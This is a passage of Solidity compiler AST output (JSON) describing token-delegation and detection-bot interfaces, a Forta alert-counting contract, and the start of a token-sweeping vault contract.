dentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51454,"name":"uint256","nodeType":"ElementaryTypeName","src":"239:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":51457,"mutability":"mutable","name":"origSender","nameLocation":"262:10:71","nodeType":"VariableDeclaration","scope":51462,"src":"254:18:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51456,"name":"address","nodeType":"ElementaryTypeName","src":"254:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"226:47:71"},"returnParameters":{"id":51461,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51460,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51462,"src":"292:4:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":51459,"name":"bool","nodeType":"ElementaryTypeName","src":"292:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"291:6:71"},"scope":51463,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"DelegateERC20","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[51463],"name":"DelegateERC20","nameLocation":"181:13:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51471,"nodeType":"ContractDefinition","src":"302:106:71","nodes":[{"id":51470,"nodeType":"FunctionDefinition","src":"332:74:71","nodes":[],"functionSelector":"220ab6aa","implemented":false,"kind":"function","modifiers":[],"name":"handleTransaction","nameLocation":"341:17:71","parameters":{"id":51468,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51465,"mutability":"mutable","name":"user","nameLocation":"367:4:71","nodeType":"VariableDeclaration","scope":51470,"src":"359:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51464,"name":"address","nodeType":"ElementaryTypeName","src":"359:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51467,"mutability":"mutable","name":"msgData","nameLocation":"388:7:71","nodeType":"VariableDeclaration","scope":51470,"src":"373:22:71","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":51466,"name":"bytes","nodeType":"ElementaryTypeName","src":"373:5:71","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"358:38:71"},"returnParameters":{"id":51469,"nodeType":"ParameterList","parameters":[],"src":"405:0:71"},"scope":51471,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IDetectionBot","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[51471],"name":"IDetectionBot","nameLocation":"312:13:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51489,"nodeType":"ContractDefinition","src":"410:204:71","nodes":[{"id":51476,"nodeType":"FunctionDefinition","src":"433:63:71","nodes":[],"functionSelector":"9e927c68","implemented":false,"kind":"function","modifiers":[],"name":"setDetectionBot","nameLocation":"442:15:71","parameters":{"id":51474,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51473,"mutability":"mutable","name":"detectionBotAddress","nameLocation":"466:19:71","nodeType":"VariableDeclaration","scope":51476,"src":"458:27:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51472,"name":"address","nodeType":"ElementaryTypeName","src":"458:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"457:29:71"},"returnParameters":{"id":51475,"nodeType":"ParameterList","parameters":[],"src":"495:0:71"},"scope":51489,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51483,"nodeType":"FunctionDefinition","src":"501:63:71","nodes":[],"functionSelector":"fa1fd28c","implemented":false,"kind":"function","modifiers":[],"name":"notify","nameLocation":"510:6:71","parameters":{"id":51481,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51478,"mutability":"mutable","name":"user","nameLocation":"525:4:71","nodeType":"VariableDeclaration","scope":51483,"src":"517:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51477,"name":"address","nodeType":"ElementaryTypeName","src":"517:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51480,"mutability":"mutable","name":"msgData","nameLocation":"546:7:71","nodeType":"VariableDeclaration","scope":51483,"src":"531:22:71","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":51479,"name":"bytes","nodeType":"ElementaryTypeName","src":"531:5:71","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"516:38:71"},"returnParameters":{"id":51482,"nodeType":"ParameterList","parameters":[],"src":"563:0:71"},"scope":51489,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51488,"nodeType":"FunctionDefinition","src":"569:43:71","nodes":[],"functionSelector":"087a43c1","implemented":false,"kind":"function","modifiers":[],"name":"raiseAlert","nameLocation":"578:10:71","parameters":{"id":51486,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51485,"mutability":"mutable","name":"user","nameLocation":"597:4:71","nodeType":"VariableDeclaration","scope":51488,"src":"589:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51484,"name":"address","nodeType":"ElementaryTypeName","src":"589:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"588:14:71"},"returnParameters":{"id":51487,"nodeType":"ParameterList","parameters":[],"src":"611:0:71"},"scope":51489,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IForta","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[51489],"name":"IForta","nameLocation":"420:6:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51577,"nodeType":"ContractDefinition","src":"616:752:71","nodes":[{"id":51496,"nodeType":"VariableDeclaration","src":"647:59:71","nodes":[],"constant":false,"functionSelector":"9e1083ca","mutability":"mutable","name":"usersDetectionBots","nameLocation":"688:18:71","scope":51577,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"},"typeName":{"id":51495,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":51492,"name":"address","nodeType":"ElementaryTypeName","src":"655:7:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"647:33:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":51494,"nodeType":"UserDefinedTypeName","pathNode":{"id":51493,"name":"IDetectionBot","nameLocations":["666:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51471,"src":"666:13:71"},"referencedDeclaration":51471,"src":"666:13:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}},"visibility":"public"},{"id":51500,"nodeType":"VariableDeclaration","src":"712:50:71","nodes":[],"constant":false,"functionSelector":"dc702fa0","mutability":"mutable","name":"botRaisedAlerts","nameLocation":"747:15:71","scope":51577,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":51499,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":51497,"name":"address","nodeType":"ElementaryTypeName","src":"720:7:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"712:27:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":51498,"name":"uint256","nodeType":"ElementaryTypeName","src":"731:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"public"},{"id":51516,"nodeType":"FunctionDefinition","src":"769:156:71","nodes":[],"body":{"id":51515,"nodeType":"Block","src":"841:84:71","nodes":[],"statements":[{"expression":{"id":51513,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":51506,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"851:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51509,"indexExpression":{"expression":{"id":51507,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"870:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51508,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"874:6:71","memberName":"sender","nodeType":"MemberAccess","src":"870:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"851:30:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":51511,"name":"detectionBotAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51502,"src":"898:19:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51510,"name":"IDetectionBot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51471,"src":"884:13:71","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IDetectionBot_$51471_$","typeString":"type(contract IDetectionBot)"}},"id":51512,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"884:34:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"src":"851:67:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"id":51514,"nodeType":"ExpressionStatement","src":"851:67:71"}]},"baseFunctions":[51476],"functionSelector":"9e927c68","implemented":true,"kind":"function","modifiers":[],"name":"setDetectionBot","nameLocation":"778:15:71","overrides":{"id":51504,"nodeType":"OverrideSpecifier","overrides":[],"src":"832:8:71"},"parameters":{"id":51503,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51502,"mutability":"mutable","name":"detectionBotAddress","nameLocation":"802:19:71","nodeType":"VariableDeclaration","scope":51516,"src":"794:27:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51501,"name":"address","nodeType":"ElementaryTypeName","src":"794:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"793:29:71"},"returnParameters":{"id":51505,"nodeType":"ParameterList","parameters":[],"src":"841:0:71"},"scope":51577,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51551,"nodeType":"FunctionDefinition","src":"931:259:71","nodes":[],"body":{"id":51550,"nodeType":"Block","src":"1003:187:71","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51534,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"baseExpression":{"id":51526,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"1025:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51528,"indexExpression":{"id":51527,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51518,"src":"1044:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1025:24:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}],"id":51525,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1017:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51524,"name":"address","nodeType":"ElementaryTypeName","src":"1017:7:71","typeDescriptions":{}}},"id":51529,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1017:33:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":51532,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1062:1:71","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":51531,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1054:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51530,"name":"address","nodeType":"ElementaryTypeName","src":"1054:7:71","typeDescriptions":{}}},"id":51533,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1054:10:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1017:47:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51536,"nodeType":"IfStatement","src":"1013:60:71","trueBody":{"functionReturnParameters":51523,"id":51535,"nodeType":"Return","src":"1066:7:71"}},{"clauses":[{"block":{"id":51545,"nodeType":"Block","src":"1144:31:71","statements":[{"functionReturnParameters":51523,"id":51544,"nodeType":"Return","src":"1158:7:71"}]},"errorName":"","id":51546,"nodeType":"TryCatchClause","src":"1144:31:71"},{"block":{"id":51547,"nodeType":"Block","src":"1182:2:71","statements":[]},"errorName":"","id":51548,"nodeType":"TryCatchClause","src":"1176:8:71"}],"externalCall":{"arguments":[{"id":51541,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51518,"src":"1129:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51542,"name":"msgData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51520,"src":"1135:7:71","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}],"expression":{"baseExpression":{"id":51537,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"1086:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51539,"indexExpression":{"id":51538,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51518,"src":"1105:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1086:24:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"id":51540,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1111:17:71","memberName":"handleTransaction","nodeType":"MemberAccess","referencedDeclaration":51470,"src":"1086:42:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory) external"}},"id":51543,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1086:57:71","tryCall":true,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51549,"nodeType":"TryStatement","src":"1082:102:71"}]},"baseFunctions":[51483],"functionSelector":"fa1fd28c","implemented":true,"kind":"function","modifiers":[],"name":"notify","nameLocation":"940:6:71","overrides":{"id":51522,"nodeType":"OverrideSpecifier","overrides":[],"src":"994:8:71"},"parameters":{"id":51521,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51518,"mutability":"mutable","name":"user","nameLocation":"955:4:71","nodeType":"VariableDeclaration","scope":51551,"src":"947:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51517,"name":"address","nodeType":"ElementaryTypeName","src":"947:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51520,"mutability":"mutable","name":"msgData","nameLocation":"976:7:71","nodeType":"VariableDeclaration","scope":51551,"src":"961:22:71","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":51519,"name":"bytes","nodeType":"ElementaryTypeName","src":"961:5:71","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"946:38:71"},"returnParameters":{"id":51523,"nodeType":"ParameterList","parameters":[],"src":"1003:0:71"},"scope":51577,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51576,"nodeType":"FunctionDefinition","src":"1196:170:71","nodes":[],"body":{"id":51575,"nodeType":"Block","src":"1248:118:71","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51565,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"baseExpression":{"id":51559,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"1270:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51561,"indexExpression":{"id":51560,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51553,"src":"1289:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1270:24:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}],"id":51558,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1262:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51557,"name":"address","nodeType":"ElementaryTypeName","src":"1262:7:71","typeDescriptions":{}}},"id":51562,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1262:33:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"expression":{"id":51563,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1299:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51564,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1303:6:71","memberName":"sender","nodeType":"MemberAccess","src":"1299:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1262:47:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51567,"nodeType":"IfStatement","src":"1258:60:71","trueBody":{"functionReturnParameters":51556,"id":51566,"nodeType":"Return","src":"1311:7:71"}},{"expression":{"id":51573,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":51568,"name":"botRaisedAlerts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51500,"src":"1327:15:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":51571,"indexExpression":{"expression":{"id":51569,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1343:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51570,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1347:6:71","memberName":"sender","nodeType":"MemberAccess","src":"1343:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1327:27:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"hexValue":"31","id":51572,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1358:1:71","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"1327:32:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":51574,"nodeType":"ExpressionStatement","src":"1327:32:71"}]},"baseFunctions":[51488],"functionSelector":"087a43c1","implemented":true,"kind":"function","modifiers":[],"name":"raiseAlert","nameLocation":"1205:10:71","overrides":{"id":51555,"nodeType":"OverrideSpecifier","overrides":[],"src":"1239:8:71"},"parameters":{"id":51554,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51553,"mutability":"mutable","name":"user","nameLocation":"1224:4:71","nodeType":"VariableDeclaration","scope":51576,"src":"1216:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51552,"name":"address","nodeType":"ElementaryTypeName","src":"1216:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1215:14:71"},"returnParameters":{"id":51556,"nodeType":"ParameterList","parameters":[],"src":"1248:0:71"},"scope":51577,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":51490,"name":"IForta","nameLocations":["634:6:71"],"nodeType":"IdentifierPath","referencedDeclaration":51489,"src":"634:6:71"},"id":51491,"nodeType":"InheritanceSpecifier","src":"634:6:71"}],"canonicalName":"Forta","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51577,51489],"name":"Forta","nameLocation":"625:5:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51645,"nodeType":"ContractDefinition","src":"1370:582:71","nodes":[{"id":51579,"nodeType":"VariableDeclaration","src":"1397:35:71","nodes":[],"constant":false,"functionSelector":"3234a197","mutability":"mutable","name":"sweptTokensRecipient","nameLocation":"1412:20:71","scope":51645,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51578,"name":"address","nodeType":"ElementaryTypeName","src":"1397:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51582,"nodeType":"VariableDeclaration","src":"1438:24:71","nodes":[],"constant":false,"functionSelector":"6f307dc3","mutability":"mutable","name":"underlying","nameLocation":"1452:10:71","scope":51645,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"},"typeName":{"id":51581,"nodeType":"UserDefinedTypeName","pathNode":{"id":51580,"name":"IERC20","nameLocations":["1438:6:71"],"nodeType":"IdentifierPath","referencedDeclaration":47939,"src":"1438:6:71"},"referencedDeclaration":47939,"src":"1438:6:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"visibility":"public"},{"id":51592,"nodeType":"FunctionDefinition","src":"1469:80:71","nodes":[],"body":{"id":51591,"nodeType":"Block","src":"1500:49:71","nodes":[],"statements":[{"expression":{"id":51589,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51587,"name":"sweptTokensRecipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51579,"src":"1510:20:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51588,"name":"recipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51584,"src":"1533:9:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1510:32:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51590,"nodeType":"ExpressionStatement","src":"1510:32:71"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":51585,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51584,"mutability":"mutable","name":"recipient","nameLocation":"1489:9:71","nodeType":"VariableDeclaration","scope":51592,"src":"1481:17:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51583,"name":"address","nodeType":"ElementaryTypeName","src":"1481:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1480:19:71"},"returnParameters":{"id":51586,"nodeType":"ParameterList","parameters":[],"src":"1500:0:71"},"scope":51645,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51617,"nodeType":"FunctionDefinition","src":"1555:167:71","nodes":[],"body":{"id":51616,"nodeType":"Block","src":"1606:116:71","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51606,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51600,"name":"underlying","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51582,"src":"1632:10:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}],"id":51599,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1624:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51598,"name":"address","nodeType":"ElementaryTypeName","src":"1624:7:71","typeDescriptions":{}}},"id":51601,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1624:19:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":51604,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1655:1:71","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":51603,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1647:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51602,"name":"address","nodeType":"ElementaryTypeName","src":"1647:7:71","typeDescriptions":{}}},"id":51605,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1647:10:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1624:33:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"416c726561647920736574","id":51607,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1659:13:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_7e48b067d9657b74fa88865ffd84ee4954e27df98d359dfc75a722e1054131bc","typeString":"literal_string \"Already set\""},"value":"Already 